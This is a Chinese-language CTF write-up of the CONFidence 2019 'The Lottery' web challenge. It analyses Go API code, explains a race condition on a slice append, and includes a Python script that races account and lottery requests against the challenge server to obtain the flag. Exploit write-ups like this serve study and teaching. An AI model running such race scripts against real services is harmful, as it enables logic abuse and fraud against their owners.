Automne's Shadow.

CONFidence CTF 2019 The Lottery WriteUp

2019/03/27 Share

Web

最近在学GoLang。

本题参考链接:https://balsn.tw/ctf_writeup/20190317-confidencectf/#the-lottery

automne

使用Go语言编写的API服务器,下载压缩包后首先看main.go,主要是搭建一个HTTP Server。比较重要的是下面两行,分别定义了一个service和初始化了路由。

service := app.NewService(ctx, lotteryPeriod, deleteAccountAfter)
router := transport.InitRouter(service, flag)

service的返回值如代码所示:

1
2
3
4
5
6
7
func NewService(ctx context.Context, lotteryPeriod, deleteAccountAfter time.Duration) *Service {
return &Service{
accounts: make(map[string]Account),
lottery: NewLottery(ctx, lotteryPeriod),
deleteAccountAfter: deleteAccountAfter,
}
}

然后InitRouter里提供了下面的Rest API接口:

1
2
3
4
5
6
r.Get("/", handler.IndexGet)
r.Post("/account", handler.AccountAdd)
r.Post("/account/{name}/amount", handler.AccountAddAmount)
r.Get("/account/{name}", handler.AccountGet)
r.Post("/lottery/add", handler.LotteryAdd)
r.Get("/lottery/results", handler.LotteryResults)

其中的handler.AccountGet方法,当flag变量为true时,将会在请求对应账号的响应里返回flag。

automne

接着跟到h.service.AccountGet方法里

1
2
3
4
5
6
7
8
9
10
func (s *Service) AccountGet(name string) (Account, bool, error) {
s.mutex.RLock()
defer s.mutex.RUnlock()
account, found := s.accounts[name]
if !found {
return Account{}, false, ErrNotFound
}
superUser := s.lottery.IsWinner(name) || account.IsMillionaire()
return account, superUser, nil
}

可以看到,s.lottery.IsWinner(name) || account.IsMillionaire()为true,就可以成为superUser拿到flag。

先看s.lottery.IsWinner(name),代码如下:

1
2
3
4
5
6
7
8
func (l *Lottery) IsWinner(name string) bool {
l.mutex.RLock()
defer l.mutex.RUnlock()
if _, won := l.winners[name]; won {
return true
}
return false
}

最后跟到下面的函数里,也就是当账号里的amounts达到0x133700时,将会成为winner,但是由于是随机数,所以需要爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
func (l *Lottery) evaluate() {
l.mutex.Lock()
defer l.mutex.Unlock()
accounts := l.accounts
l.winners = make(map[string]struct{})
l.accounts = make(map[string]Account)
for name, account := range accounts {
amounts := append(account.Amounts, randInt(999913, 3700000))
sum := 0
for _, a := range amounts {
sum += a
}
if sum == 0x133700 {
l.winners[name] = struct{}{}
}
}
}

接着看account.IsMillionaire()这个条件。

1
2
3
4
5
6
7
func (a *Account) IsMillionaire() bool {
sum := 0
for _, a := range a.Amounts {
sum += a
}
return sum >= 1000000
}

只要账号的Amounts达到1000000即可,但是AddAmount函数对添加的次数和金额都做了限制,其中MaxAmount为99,MaxAmountsLen为4。

1
2
3
4
5
6
7
8
9
10
func (a *Account) AddAmount(amount int) error {
if amount < 0 || amount > MaxAmount {
return errors.Wrapf(ErrInvalidData, "amount must be positive and less than %d: got '%d'", MaxAmount+1, amount)
}
if len(a.Amounts) >= MaxAmountsLen {
return errors.Wrapf(ErrInvalidData, "reached maximum number of amounts (%d)", MaxAmountsLen)
}
a.Amounts = append(a.Amounts, amount)
return nil
}

对接口进行测试

automne

当传入4次amount后再添加amount将会报错

automne

automne

要想成为百万富翁,留意到Lottery里的evaluate函数,其中的append()方法有机会将100万添加到账号里。

amounts := append(account.Amounts, randInt(999913, 3700000))

看一下amounts的类型,是一个数组切片。

1
2
3
4
type Account struct {
Name string `json:"name"`
Amounts []int `json:"amounts"`
}

对于Go里面的数组切片,如果其capacity存在冗余,那么并发写数据的时候,就会存在条件竞争的问题。
思路就是先通过handler.AccountAddAmount方法添加三次金额,然后调用handler.LotteryAdd方法和其条件竞争,写入成功即可得到flag。

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python3
import requests

s = requests.session()

url = 'https://lottery.zajebistyc.tf'

names = []
for _ in range(999999):
r = s.post(url + "/account").json()
name = r['name']
names.append(name)
for _ in range(3):
r = s.post(url + f'/account/{name}/amount', json=dict(amount=99))

r = s.get(url + f'/account/{name}')

r = s.post(url + f'/lottery/add', json=dict(accountName=name))

r = s.post(url + f'/account/{name}/amount', json=dict(amount=87))

r = s.get(url + f'/account/{name}')
print(r.text)
with open('log','a') as f:
print(r.text, file=f)

得到flag:

automne

CATALOG